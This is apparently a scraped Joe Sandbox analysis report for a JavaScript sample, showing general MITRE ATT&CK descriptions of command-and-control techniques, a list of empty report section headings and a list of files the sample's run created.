Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1936930021252095876.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c77748f8-cd36-467b-a05a-04672c58ecda.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6664

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1936930021252095876.js